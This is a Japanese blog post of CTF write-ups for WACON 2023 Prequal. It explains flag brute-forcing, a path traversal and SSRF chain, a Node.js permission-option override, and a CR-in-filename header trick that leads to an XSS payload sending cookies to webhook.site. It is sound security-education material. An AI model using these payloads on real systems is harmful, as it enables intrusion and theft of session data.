st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

WACON 2023 Prequal writeup

9/2 - 9/3という日程で開催された。? というチームで出て16位。今回は後悔が多い。


主に自分で解いた問題

[Misc 100] mic check (47 solves)

Chatgpt-brewed problem

[+] flag format for this chall : WACON2023{[0-9a-f]+}

(URL)

問題サーバのURLだけが与えられている。ソースコードは提供されていない。とりあえずアクセスしてみるも、404が返ってきた。Server ヘッダに Werkzeug/2.3.7 Python/3.8.18 という値が入っており、何かしら動的にやっているのかなという推測をする。この404が想定されている動作であるということはCTFのDiscordでアナウンスされており、ここから何かしらを推測する必要がある。

エスパーっぽい雰囲気のあるWeb問で困ったときには /robots.txt を(なければ .well-known.git なども)見ればよい。確認してみると、以下のような内容だった。

User-agent: *
allow: /W/A/C/O/N/2/

アクセスしてみるが、やはり404が返ってくる。ただ、なんとなく末尾の / を削って /W/A/C/O/N/2 にアクセスしてみると、同じ Not Found という内容ではあるものの、ステータスコードは200であるレスポンスが返ってきた。ほかに色々試すと、/W/A/C/O/N は200、/W/A/C/O/N/3 は404であった。

フラグフォーマットが WACON2023{…} であることを考えると、パスから / を取り除いた文字列がフラグの部分文字列であれば200を返し、そうでなければ404を返すという感じだろうか。スクリプトを書く。

import requests
table = '{}0123456789abcdefghijklmnopqrstuvwxyz'
target = 'http://58.225.56.196:5000/'
flag = 'WACON'
while not flag.endswith('}'):
    for c in table:
        tmp = flag + c
        path = '/'.join(list(tmp))
        r = requests.get(f'{target}{path}')
        if r.status_code == 200:
            flag = tmp
            print(flag)
            break

実行するとフラグが得られた。

$ python3 solve.py
…
WACON2023{2060923e53fa205a48b2f9ad47d943c4}
WACON2023{2060923e53fa205a48b2f9ad47d943c4}

ほかのメンバーが解いた問題

[Web 100] mosaic (19 solves)

It looks weird...

(URL)

添付ファイル: for_user.zip

概要

ソースコードが与えられている。与えられたURLにアクセスすると、次のようなページが表示される。画像をアップロードしたり、アップロードした画像にモザイクをかけたりできるらしい。

適当なユーザ名で登録する。画像をアップロードすると uploads/omagarihare/deer.jpg に配置されたというメッセージが表示された。

モザイクをかけるページに移る。image_url なるものが要求される。

deer.jpg を入力すると、先程アップロードした画像にモザイクをかけたものが表示された。なお、ここで参照されている画像は /static/uploads/omagarihare/9ce6d8bfbfc23dc7.jpeg というようなパスになっている。

フラグの場所

フラグの場所を確認していく。フラグは画像の形で格納されており、これが本番サーバでは /flag.png に配置されている。ローカルだと /test-flag.png が代わりに配置されている。

if os.path.exists("/flag.png"):
    FLAG = "/flag.png"
else:
    FLAG = "/test-flag.png"

こうして FLAG にはフラグがあるパスが格納されているわけだけれども、どのように参照されているか見ていく。トップページにその処理があり、admin としてログインしており、かつ 127.0.0.1 からのアクセスである場合に、このユーザが画像をアップロードした際に格納されるディレクトリにフラグの画像をコピーしてくるというような処理がなされている。

@app.route('/', methods=['GET'])
def index():
    if not session.get('logged_in'):
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a>&nbsp;&nbsp;<a href="/register">register</a>'''
    else:
        if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
            copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
        return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a>&nbsp;&nbsp;<a href="/mosaic">mosaic</a>&nbsp;&nbsp;<a href="/logout">logout</a>'''

admin に関連する情報やコードは次の通り。admin のパスワードは password.txt というファイルに格納されているらしい。

try:
    with open("password.txt", "r") as pw_fp:
        ADMIN_PASSWORD = pw_fp.read()
        pw_fp.close()
except:
    ADMIN_PASSWORD = "admin"def init_db():
    with app.app_context():
        db = get_db()
        db.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT unique, password TEXT)")
        db.execute(f"INSERT INTO users (username, password) values('admin', '{hash(ADMIN_PASSWORD)}')")
        db.commit()

ところで、アップロードした画像は次のパスから取得できる。ただし、admin の画像については本人しか閲覧できない。

@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == "admin" and session["username"] != "admin":
        return "Access Denied.."
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

最終的な目標は flag.png を手に入れるところにあるけれども、そのために admin としてログインしたり、あるいは admin としてログインした状態で 127.0.0.1 からトップページにアクセスする必要があることがわかった。そして、admin としてログインするためには password.txt の内容を取得するのが重要であることもわかった。

気になったところ

モザイク関連の処理は次の通り。なんか怪しいことをしているが、一つ一つ見ていく。まず mimetypesimage_url からファイルの形式を確認している。もし指定された image_url がローカルのファイルシステムに存在するファイルであれば、そのまま imageioimread で読み込まれる。http:// もしくは https:// から始まっている場合には対応していないというメッセージを返してそこで処理を中断する…が、これは Http:// のように大文字から始めることで回避できる。

ローカルにファイルが存在せず、かつ http://https:// で始まっていなければ、拡張子がPNG, JPEG, TIFF, ZIPのいずれかにあたるものである場合に限り、requests で(ユーザが渡してきたCookieとともに)リモートから取得してきて、imageio.imread に渡す。そして、これらの方法で取得した画像にモザイクをかける。

def type_check(guesstype):
    return guesstype in ["image/png", "image/jpeg", "image/tiff", "application/zip"]
…
@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if request.method == 'POST':
        image_url = request.form.get('image_url')
        if image_url and "../" not in image_url and not image_url.startswith("/"):
            guesstype = mimetypes.guess_type(image_url)[0]
            ext = guesstype.split("/")[1]
            mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
            filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
            if os.path.isfile(filename):
                image = imageio.imread(filename)
            elif image_url.startswith("http://") or image_url.startswith("https://"):
                return "Not yet..! sry.."
            else:
                if type_check(guesstype):
                    image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
                    image = imageio.imread(image_data)
            
            apply_mosaic(image, mosaic_path)
            return render_template("mosaic.html", mosaic_path = mosaic_path)
        else:
            return "Plz input image_url or Invalid image_url.."
    return render_template("mosaic.html")

この requests.get が気になる。Http://localhost:9999/#hoge.png のような image_url を与えることでSSRFできるのではないか。そして、ユーザが持ってきたCookieをそのまま渡しているので、もし admin としてログインできている場合には、127.0.0.1 からのアクセスということで、これで copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png') という処理を引き起こすことができるのではないか。なるほど、これのために admin としてログインする方法を探したい。

さて、別の箇所を見ていく。admin というユーザ名で登録できないか考えるけれども、前述のテーブルを作成するためのSQLを見るとわかるように、ユーザ名は unique だし、すでに admin は登録されている。それ以外にユーザ登録関連でなにか悪さができないか、処理を見てみる。

ユーザ名が怪しくないかチェックして、ユーザ登録後にアップロード先やモザイクを作成した画像の保存先となるディレクトリを作成している。このユーザ名のチェックが怪しく、なぜか ^[a-zA-Z0-9]*$+ でなく * を使っており、空のユーザ名でも登録できてしまう。os.mkdir でコケるので登録時には500が返ってくるが、すでにDBに変更がコミットされた状態であるので、空のユーザ名でログインできるようになっている。

これで何が嬉しいかというと、本来画像のアップロード先は upload/(ユーザ名) となるはずなのだけれども、ユーザ名が空であればここで upload/ にアップロードされるようになる。いや、言うほど嬉しくないかも。先ほど紹介した /check_upload/@<username>/<file>upload/ 下にあるファイルを読めるというのもあるけれども、そもそももともと admin を除いて任意のユーザのファイルが読めるし、upload/ 直下にはファイルはないので、あまり意味がない。あとから考えるとユーザ名に . を、ファイル名に admin/… を指定することで admin 以外でも admin のファイルを読めたなと思ったけれども、別の脆弱性が使えることを考えると意味がない。

なお、strip されていないし、$ が使われているというあたりから admin\n のように末尾に改行文字を加えたユーザ名も作成できるじゃんと思ったし、実際できたけれども、このアプリでは adminadmin\n は厳密に区別されるのでやはり無意味。

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if not re.match('^[a-zA-Z0-9]*$', username):
            return "Plz use alphanumeric characters.."
        cur = get_db().cursor()
        cur.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, hash(password)))
        get_db().commit()
        os.mkdir(f"{UPLOAD_FOLDER}/{username}")
        os.mkdir(f"{MOSAIC_FOLDER}/{username}")
        return redirect(url_for('login'))
    return render_template("register.html")

このほかにも、imageio でなにかできないか調べ、たとえばなぜZIPをわざわざ受け付けているのだろうというところから、シンボリックリンクが使えるのではないかと考えるも無理だとわかったり、Balsn CTF 2019 - Silhouettesという過去問でこのライブラリの脆弱性を使っている事例が見つかったけれども、当然すでに修正されているし、ほかに有用なものも見つからないし…という感じで悩んでいた。

解法

こんな感じで悩んでいたが、よいアイデアが浮かばず、休憩として少し寝ることにした。そして、私が寝ている間にメンバーのSihoon Leeさんが以下の手順で解いていた。

  • /check_upload/@../password.txtadmin のパスワードを窃取
  • (色々)
  • /check_upload/@admin/flag.png でフラグにアクセス

まず最初の password.txt の閲覧だけれども、もう一度関連する処理を見てみる。なるほど、パスパラメータから与えられたユーザ名が実在しているかのチェックがなされていない。そして、upload/(ユーザ名) にユーザ名として .. が展開されることでPath Traversalができる。app.py と同じディレクトリに password.txt が存在しているので、これで admin のパスワードが得られるのだ。

@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
    if not session.get('logged_in'):
        return redirect(url_for('login'))
    if username == "admin" and session["username"] != "admin":
        return "Access Denied.."
    else:
        return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)

得られたパスワードを使って admin としてログインする。続いて、Http://localhost:9999/#hoge.pngimage_url としてモザイク画像を生成させようとする。このリクエストに対してサーバは500を返すが、ちゃんとフラグが uploads/admin/flag.png にコピーされているので問題ない。そして、/check_upload/@admin/flag.png にアクセスすることでフラグの画像が得られた*1

[Misc 113] Web? (16 solves)

Is this real web?

(URL)

添付ファイル: for_user.zip

概要

Node.jsのサンドボックス問。ソースコードから見ていく。色々処理があるけれども重要なのは /calc なので、これを見る。パラメータとして expropt の2つを受け付ける。opt は以降のコードの実行にあたって、ひとつだけNode.jsに渡されるオプションを指定できるというものだ。ここで指定できるオプションは、ロングオプションであること、--print, --eval, --allow-child-process といった危険なオプションでないこと、A-Za-z,/*=- の文字からなっていることという制約がある。

expr だけれども、これは簡単にいうと node eval.js (expr) というような形で、eval.jsコマンドライン引数として渡される。この際、opt から指定したオプションのほかに --experimental-permission--allow-fs-read=/app/* というオプションが指定される。これはNode.jsが実験的に実装している*2パーミッション機能を有効にし、そしてファイルの読み取りについて /app/ 下に存在するものしか許されないように設定できるものだ。

const express = require("express");
const bodyParser = require("body-parser");
const session = require("express-session");
const child_process  = require("child_process");

const crypto = require("crypto");
const random_bytes = size => crypto.randomBytes(size).toString();
const sha256 = plain => crypto.createHash("sha256").update(plain.toString()).digest("hex");

const users = new Map([
    [],
]);

const now = () => { return Math.floor(+new Date()/1000) }
const checkoutTimes = new Map()

const app = express();

app.use(bodyParser.json());
app.use(
    session({
        cookie: { maxAge : 600000 },
        secret: random_bytes(64),
    })
);

const loginHandler = (req, res, next) => {
    if(!req.session.uid) {
        return res.redirect("/")
    }
    next();
}

app.all("/", (req, res) => {
    return res.json({ "msg" : "hello guest" });
});

app.post("/login", (req, res) => {
    const { username, password } = req.body;

    if ( typeof username !== "string" || typeof password !== "string" || username.length < 4 || password.length < 6) {
        return res.json({ msg: "invalid data" });
    }

    if (users.has(username)) {
        if (users.get(username) === sha256(password)) {
            req.session.uid = username;

            return res.redirect("/");
        } else {
            return res.json({ msg: "Invalid Password" });
        }
    } else {
        users.set(username, sha256(password));
        req.session.uid = username;
        return res.redirect("/");
    }
});

app.post("/calc", loginHandler, (req,res) => {
    if(checkoutTimes.has(req.ip) && checkoutTimes.get(req.ip)+1 > now()) {
        return res.json({ error: true, msg: "too fast"})
    }
    checkoutTimes.set(req.ip,now())

    const { expr, opt } = req.body;
    const args = ["--experimental-permission", "--allow-fs-read=/app/*"];

    const badArg = ["--print", "-p", "--input-type", "--import", "-e", "--eval", "--allow-fs-write", "--allow-child-process", "-", "-C", "--conditions"]

    if (!expr || typeof expr !== "string" ) {
        return res.json({ msg: "invalid data" });
    }

    if (opt) {
        if (!/^--[A-Za-z|,|\/|\*|\=|\-]+$/.test(opt) || badArg.includes(opt.trim())) {
            return res.json({ error: true, msg: "Invalid option" });
        }
        args.push(opt, "eval.js", btoa(expr));
    }

    args.push("eval.js", btoa(expr));

    try {
        ps = child_process.spawnSync("node", args);
        result = ps.stdout.toString().trim();
        if (result) {
            return res.type("text/plain").send(result)
        } 
        return res.type("text/plain").send("Empty");
    } catch (e) {
        console.log(e)
        return res.json({ "msg": "Nop" })
    }
});

app.listen(80);

eval.js は次の通り。main.js から渡ってきた expr について、config というファイルに格納されているNGな文字を含んでいなければ、eval して出力するというものだ。

const fs = require("fs");
let filter = null;
try {
    filter = fs.readFileSync("config").toString();
} catch {}

const expr = atob(process.argv.pop());
const regex = new RegExp(filter);
if (regex.test(expr)) {
    console.log("Nop");
} else {
    console.log(eval(expr));
}

config は次の通り。四則演算しか実行させないぞという意思を感じる。

[^\+|\*|-|%|\/|\d+|0-9]

考えたこと

ほかのメンバーがこの問題に取り組んでいるところに途中から入ったが、eval.js やこれの実行時に渡されるオプションを見て、もし config の読み込みに失敗すればどうなるだろうと考えた。filter の読み込みは以下のようにtry-catchで囲まれている。では読み込みに失敗するとどうなるかだけど、filternull のままになり、そして new RegExp(filter)/null/ と等価になる。つまり、null がコードに含まれていない限り弾かれない。

let filter = null;
try {
    filter = fs.readFileSync("config").toString();
} catch {}

const expr = atob(process.argv.pop());
const regex = new RegExp(filter);

ではどうやって config の読み込みを失敗させるか。ここで相対パスが使われていることを利用して、たとえばカレントディレクトリを別の場所に変えることで読み込みを失敗させる、あるいは /etc/subversion/config のように同じ config だけれども異なるファイルを読み込ませるというのはどうかと考えた。もっとも、後者に関しては --allow-fs-read=/app/* が邪魔してくるが。

解法

というようなアイデアを出したところ、qbeomさんが形にしてくれた。--allow-fs-read=/app/eval*,/flag* というオプションを opt として指定することで、--allow-fs-read=/app/* を上書きするという方法だ。そして、eval.js とフラグが書き込まれているファイルだけを読み込めるようにして、config の読み込みは弾いていくと。

ミニマルな形で検証してみる。まずどのファイルの読み込みも禁止している状態でファイルへのアクセスを試みるが、次のように Access to this API has been restricted というエラーが出ることがわかる。

user@15d9421b9401:/app$ node --experimental-permission -e "require('fs').readFileSync('/etc/passwd')"
node:fs:599
  const result = binding.open(pathModule.toNamespacedPath(path),
                         ^

Error: Access to this API has been restricted
    at Object.openSync (node:fs:599:26)
    at Object.readFileSync (node:fs:470:35)
    at [eval]:1:15
    at Script.runInThisContext (node:vm:122:12)
    at Object.runInThisContext (node:vm:298:38)
    at node:internal/process/execution:83:21
    at [eval]-wrapper:6:24
    at runScript (node:internal/process/execution:82:62)
    at evalScript (node:internal/process/execution:104:10)
    at node:internal/main/eval_string:50:3 {
  code: 'ERR_ACCESS_DENIED',
  permission: 'FileSystemRead',
  resource: '/etc/passwd'
}

続いて、このエラーについてtry-catchで捕まえること(そして抑える)ができるものか検証する。ちゃんとcatchで捕まえられた。

user@15d9421b9401:/app$ node --experimental-permission -e "try { require('fs').readFileSync('/etc/passwd') } catch (e) { console.log('err:', e.message) }"
err: Access to this API has been restricted

最後に、複数の --allow-fs-read オプションが与えられた場合にどのような挙動を取るか確認する。なるほど、最後に現れるものが使われるっぽい。

user@15d9421b9401:/app$ node --experimental-permission --allow-fs-read=/tmp/* --allow-fs-read=/etc/* -e "console.log(require('fs').readFileSync('/etc/passwd'))"
<Buffer 72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 2f 72 6f 6f 74 3a 2f 62 69 6e 2f 62 61 73 68 0a 64 61 65 6d 6f 6e 3a 78 3a 31 3a 31 3a 64 61 65 6d 6f ... 867 more bytes>
user@15d9421b9401:/app$ node --experimental-permission --allow-fs-read=/etc/* --allow-fs-read=/tmp/* -e "console.log(require('fs').readFileSync('/etc/passwd'))"
node:fs:599
  const result = binding.open(pathModule.toNamespacedPath(path),
                         ^

Error: Access to this API has been restricted
    at Object.openSync (node:fs:599:26)
    at Object.readFileSync (node:fs:470:35)
    at [eval]:1:27
    at Script.runInThisContext (node:vm:122:12)
    at Object.runInThisContext (node:vm:298:38)
    at node:internal/process/execution:83:21
    at [eval]-wrapper:6:24
    at runScript (node:internal/process/execution:82:62)
    at evalScript (node:internal/process/execution:104:10)
    at node:internal/main/eval_string:50:3 {
  code: 'ERR_ACCESS_DENIED',
  permission: 'FileSystemRead',
  resource: '/etc/passwd'
}

Node.js v20.5.1

さて、最後に自分でもフラグを取得してみる。

import uuid
import httpx
with httpx.Client(base_url='http://58.229.185.29') as client:
    client.post('/login', json={
        'username': str(uuid.uuid4()),
        'password': str(uuid.uuid4())
    })
    r = client.post('calc', json={
        'expr': 'fs.readFileSync("/flag.txt").toString()',
        'opt': '--allow-fs-read=/app/eval*,/flag*'
    })
    print(r.text)

実行するとフラグが得られた*3

$ python3 solve.py
WACON2023{9fd79a4784869ba4873aee15c94f15281fa0e26c606e0da6f34f158f46f40889}
WACON2023{9fd79a4784869ba4873aee15c94f15281fa0e26c606e0da6f34f158f46f40889}

競技中に解けなかった問題

[Web 213] warmup-revenge (12 solves)

I sometimes hate warm up. So, I made this challenge.

(URL)

添付ファイル: for_user.zip

WACON CMSというWebアプリ。ソースコードが添付されている。

概要

適当にユーザを作成してログインすると、Board, Myinfo, Note, Logoutという4つの項目があるメニューが表示された。まずもっとも単純なNoteから見ていく。これはいわゆるダイレクトメッセージを送れる機能で、送信するメッセージとメッセージを受け取るユーザのIDの2つの項目のみ入力ができる。

続いてMyinfo。その名の通り今ログインしているユーザの情報を閲覧できる。一応編集もできるのだけれども、パスワードの変更と Allow Note の状態の切り替えしかできない。後者はそのままの意味で、チェックを入れている場合にはほかのユーザからDMを受け取ることができるし、入れていなければ拒否ができるというもの。

最後にこのCMSのメインとなる機能であるBoardを見ていく。これはNoteとは異なりパブリックにメッセージを投稿できる機能で、以下のようにほかのユーザが投稿したものも含めて、メッセージのリストが表示される。ただし、各メッセージには必ずパスワードが設定されており、それをクエリパラメータから pass=(パスワード) と指定しないと閲覧できない。

Boardから入力可能な項目は次の通りで、メッセージのタイトル、内容、閲覧に必要なレベル、添付ファイル、パスワードの5つがある。このアプリに特別なものを見ていく。まずレベルだが、これはBoardで繰り返し投稿することで10回の投稿ごとにそのユーザのレベルが1上がるというもので、各メッセージではこれを元に閲覧可能なユーザを絞れる。パスワードは前述の通りで、メッセージを閲覧するために必要なものを設定できる。

フラグの場所を見ていく。docker-compose.yml からこのアプリは bot, webserver, db の3つのサービスからなることがわかるのだけれども、フラグは bot で参照されている。Boardに投稿されたメッセージは通報できるのだけれども、bot は通報されたメッセージをPuppeteer + 安定版のGoogle Chromeで確認する役割を果たす。

このbotの動作は次の通り。まずアプリに admin としてログインした後に、FLAG というCookieにフラグを設定して、通報されたメッセージを閲覧している。ここでCookieHttpOnly 属性がfalseに設定されているため、JavaScript側から document.cookie にアクセスするだけで取得できることがわかる。XSSさえ見つかれば勝ちだ。

        let page = await browser.newPage();

        await page.goto("http://webserver/login.php");
        await page.waitForSelector('body')
        await page.focus('#username')

        await page.keyboard.type("admin", { delay: 10 });

        await page.focus('#password')
        await page.keyboard.type("[REDACTED]", { delay: 10 });
        
        await new Promise(resolve => setTimeout(resolve, 500))
        await page.click('#submitBtn')
        await new Promise(resolve => setTimeout(resolve, 500))

        page.setCookie({
            "name": "FLAG",
            "value": flag,
            "domain": "webserver",
            "path": "/",
            "httpOnly": false,
            "sameSite": "Strict"
        })

        console.log("url : ", url);
        await page.waitForNetworkIdle();
        await page.goto(url, {waitUntil: 'load'});
        await new Promise(resolve => setTimeout(resolve, 10000))
        await page.close()
        await browser.close()

ただし、雑に <s>test</s> のようなペイロードでBoardやNoteにメッセージを投稿しても、特殊文字実体参照に置換されておりXSSができない。そもそもMySQLの初期化に使われるSQLを見るに admin というユーザはDMを受け付けない(前述の Allow Note にチェックが入っていない)ので、Boardなどそれ以外の機能でXSSに持ち込む必要がある。

なお、次の clean_html という関数によってメッセージなどはサニタイズされているが、ENT_QUOTES 付きで htmlspecialchars が使われているあたり、正面からは突破できそうにない。ユーザがコントロールできるパラメータが出力されている箇所をすべて確認したが、この clean_html を通しているか、そもそも入力値の検証がなされているかでXSSは見つからなかった。

<?phpfunction clean_html($str) {
        return htmlspecialchars($str, ENT_QUOTES);
    }

添付ファイル関連の脆弱性?

先程触れた、Boardでメッセージにファイルを添付できる機能について見ていく。ボードの投稿先である board.php にある、アップロード部分の実装は次の通り。60桁の16進数のファイル名をランダムに生成して、upload/ というディレクトリの下に保存している。このアップロード先のパスと、オリジナルのファイル名との2つの情報をDBに保存しているらしい。

なお、この upload/ はドキュメントルート下であるため、ランダムに生成されたファイル名さえわかれば、直接アクセスできる。Content-Type ヘッダが付与されるわけではないので、MIME Sniffingを利用して適当に <!doctype html から始まるファイルをアップロードしてやれば、そのファイルに直接アクセスするだけでXSSに持ち込める…のだけれども、残念なことにアップロード先のパスである file_path はユーザから見える場所に出力されることはない。

<?phpif($_FILES['file']['tmp_name']){
                if($_FILES['file']['size'] > 2097152){
                    die('File is too big');
                }
                $file_name = bin2hex(random_bytes(30));

                if(!move_uploaded_file($_FILES['file']['tmp_name'], './upload/' . $file_name)) die('Upload Fail');

                $insert['file_path'] = './upload/' . $file_name;
                $insert['file_name'] = $_FILES['file']['name'];
            }

ダウンロード部分の実装は次の通り。download.php という単独のファイルで実装されている。クエリパラメータの idx にはBoardのメッセージのIDが入り、このIDに対応するメッセージに添付されているファイルを返す。Boardに投稿されたメッセージは閲覧にパスワードが必要なはずだけれども、こちらではなぜかパスワードの検証がなされておらず、パスワードを知らずとも誰でもすべてのメッセージの添付ファイルを確認できる。

ユーザエージェントによって挙動を変えるようだけれども、botChromeのユーザエージェントをそのまま送信するはずなので、最後の else だけを見ればよさそう。Content-Length でファイルサイズを指定するほか、Content-Dispositioninline でなく attachment を返して必ずダウンロードすることを指定しつつ、オリジナルのファイル名でダウンロードできるようにしている。そして、ファイルを読み出す。

<?php
    include('./config.php');
    ob_end_clean();

    if(!trim($_GET['idx'])) die('Not Found');
    
    $query = array(
        'idx' => $_GET['idx']
    );

    $file = fetch_row('board', $query);
    if(!$file) die('Not Found');

    $filepath = $file['file_path'];
    $original = $file['file_name'];

    if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) {
        header("content-length: ".filesize($filepath));
        header("content-disposition: attachment; filename=\"$original\"");
        header("content-transfer-encoding: binary");
    } else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){
        header("content-length: ".filesize($filepath));
        header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\"");
        header("content-description: php generated data");
    } else {
        header("content-length: ".filesize($filepath));
        header("content-disposition: attachment; filename=\"$original\"");
        header("content-description: php generated data");
    }
    header("pragma: no-cache");
    header("expires: 0");
    flush();

    $fp = fopen($filepath, 'rb');

    $download_rate = 10;

    while(!feof($fp)) {
        print fread($fp, round($download_rate * 1024));
        flush();
        usleep(1000);
    }
    fclose ($fp);
    flush(); 
?>

ここに問題がある。アップロード時にもダウンロード時にもオリジナルのファイル名が怪しいものでないか検証しておらず、またダウンロード時に Content-Disposition ヘッダでファイル名を指定する際に、何かしらのエスケープを行うことなく挿入している。Burp Suiteを使って、以下のようにシングルクォートを使って ".html というファイルをアップロードしてみる。

curlで確認してみると、いい感じに Content-Disposition ヘッダを破壊できていることが確認できた。

$ curl -i "http://localhost:8000/download.php?idx=82"
…
Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data:
Content-Length: 1128
content-disposition: attachment; filename=""; hoge.html"
content-description: php generated data
…

ただ、これで何ができるだろうか。botはダウンロードしたファイルを開いてはくれないし、開いたところでローカルファイルであるから問題サーバとオリジンは別だし、SameSite 属性で Strict が指定されているというのも面倒だし、そもそも ERR_ABORTED を吐くしでもうちょっと考える必要がある。

Content-Disposition の仕様や挙動を詳しく見ていく。MDNの解説RFC 6266を見ると、最初にDisposition Type(inlineattachment)が来て、次にDisposition Parameter(filename など)が来るという構造になっていることがわかる。今回はDisposition Parameterでインジェクションができる形だけれども、すでにDisposition Typeが attachment に決まってしまっており、ここで改めて inline を指定することはできない。ではほかに悪用が可能なDisposition Parameterがないかという話だけれども、filename 以外には filename* ぐらいしかなさそう。

では実装はどうか。Chromiumソースコードを見ていく。Content-Disposition のパースは net/http/http_content_disposition.ccHttpContentDisposition::Parse で行われる。まずDisposition Typeで次にDisposition Parameterを見ていくというのは仕様の通り。Disposition Parameterで filenamefilename* 以外のパラメータを指定できないかという話だけれども、やはりなさそう。filenamefilename* が同時に存在する場合には後者が優先されるというのは面白い*4が、今回は有用でない。

その他、気になること

添付ファイル関連で怪しい挙動を見つけたはいいものの、XSSにつなげることはできなかった。仕方がないのでソースコードのすべてを確認していった。Boardのメッセージを表示するページでは、以下のように2つのJSファイルが読み込まれる。

       <script src="./static/javascript/main.js"></script><a id="download" href="/download.php?idx=82">Download</a><script src='./static/javascript/auto.js'></script>

内容は次の通り。auto_download がクエリパラメータで指定されている場合に、ページを開いて2秒後に自動で添付ファイルをダウンロードするという機能のようだ。リンクのクリックではなく、わざわざ href 属性を取得して window.open で開くというのが気になるのだけれども、別にHTMLとして開いてくれるわけではなく、普通にダウンロードされた。botでも試したが同様だった。

function download() {
    window.open(document.getElementById("download").href);
}
const urlParams = new URLSearchParams(window.location.search);
var auto_download = urlParams.get('auto_download') ? 1 : 0
if(auto_download) {
    setTimeout(download, 2000);
}

DBの操作周りが非常に怪しい実装になっており、以下のように頑張ってクエリを組み立てて UPDATE やら SELECT やらを行うようになっていた。CODEGATE CTF 2023 QualsのCalculatorで見たやつだ。今回も clean_sql の中身は add_slashes で怪しい*5のだけれども、これらの関数の実装や呼び出され方を見るに安全だった。

<?php
    function fetch_row($table, $query, $operator=''){
        global $dbcon;
        $sql = 'SELECT * FROM '. $table;
        if($query){
            $sql .= ' WHERE ';
            foreach ($query as $key => $value) {
                $sql .= "{$key}='".clean_sql($value)."' {$operator} ";
            }   

            if($operator){
                $sql = trim(substr($sql, 0, strrpos($sql, $operator)));
            }
            else{
                $sql = trim($sql);
            }

        }
        $result = mysqli_query($dbcon, $sql);
        return mysqli_fetch_array($result, MYSQLI_ASSOC);
    }

解法

ということでソースコードの隅から隅まで確認した。やっぱり download.php が怪しいよなあと思いつつも結局解くことはできなかった。CTFのDiscordサーバでCTF終了後に共有されていた情報によれば、\r (キャリッジリターン)をファイル名に含めることで Content-Disposition が出力されなくなるらしい。

自分でも試してみる。以下のようにCRを含む \r.html というファイル名でアップロードする。

確認すると、確かにレスポンスから Content-Disposition が外れている。ア!!!!!!!!!!!!!!

これを使ってXSSに持ち込む。この問題では以下のようにCSPがヘッダに含まれているが、script-src 'self' とJSの実行に関しては甘めで助かる。同じように適当にJSコードをアップロードしておいて、別にそれを script で読み込むようにする。

Content-Security-Policy: default-src 'self'; style-src 'self' https://stackpath.bootstrapcdn.com 'unsafe-inline'; script-src 'self'; img-src data:

まずはファイル名は何でもよいので location.href="https://webhook.site/(省略)?"+document.cookie というファイルをアップロードする。続いて、これを読み込む <script src="/download.php?idx=966"></script> という内容のファイルを、CRを含む名前でアップロードする。後者のIDが 967 であれば、/download.php?idx=967 にアクセスすることでXSSが起こる。これを通報すると、フラグが来た。

WACON2023{b1b1e2b97fcfd419db87b61459d2e267}

なぜ見落としたのか

header に改行文字を含む文字列が渡されると、CRLFインジェクションへの対策として何も出力されないというのは知っていた。競技中にもLFを含むファイル名(\n.html)でアップロードするのをBurp Suiteで試していたけれども、どのタイミングかは分からないが、以下のようにLFが消されて Content-Disposition もちゃんと出力される(されてしまう)という挙動を示すことを確認していた。でも、それで満足してCRは試していなかったか、あるいは試したけれども Content-Disposition が消えていることを見落としたか。

どこでこのCRのみの場合とLFのみの場合での違いが生まれているのか。header("a: b\rc");header("a: b\nc"); の2つのPHPコードを実行してみると、いずれの場合でも a ヘッダは出力されておらず、header ではないとわかる。php-srcPHP_FUNCTION(header) を検索して実装を探し、ここから呼ばれている sapi_header_op を確認すると、CRだろうがLFだろうが関係なくヘッダを送らないという処理が行われていることもわかる。

ではもっと前、たとえばファイルのアップロード時はどうか。以下のような検証用のコードを用意する。

<?php
if (isset($_FILES['file'])) {
    var_dump($_FILES['file']);
}
?>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file">
    <button type="submit">Upload</button>
</form>

Burp Suiteで \n.html\r.html という名前のファイルをそれぞれアップロードしてみる。後者ではファイル名がCR含めそのまま保持されているが、前者では \n が削除されて .html だけになっていた。ここだ。

php-srcmultipart/form-data をパースしている箇所を見てみると、どうやらCRLFだろうがLFだろうが同じ改行として解釈する(一方で、CR単体であれば改行として扱わない)という挙動を示すとわかる。また、ヘッダが複数行にまたがることも許容するので、Content-Disposition: form-data; name="file"; filename="(改行).html" のようなヘッダも受け付ける。したがって、ファイル名が .html であるというように解釈された。なぜCRとLFで挙動に差異が生まれるのか、またなぜCRでなければならないかがわかった。


かなり惜しいところまでいったにもかかわらず解けなかったことが非常に悔しかったので、なぜ解けなかったかというところまで調べた。面白い問題だったけれども、ソースコードが読みづらく、また解法には関わってこない謎の機能がこのアプリには多くあるという点がつらかった。

[Web 1000] dino jail (1 solve)

plz escape

You can connect to sever every 10 seconds

Note: Flag format is WACON{}

(問題サーバへの接続情報)

添付ファイル: dino.tar.xz

概要

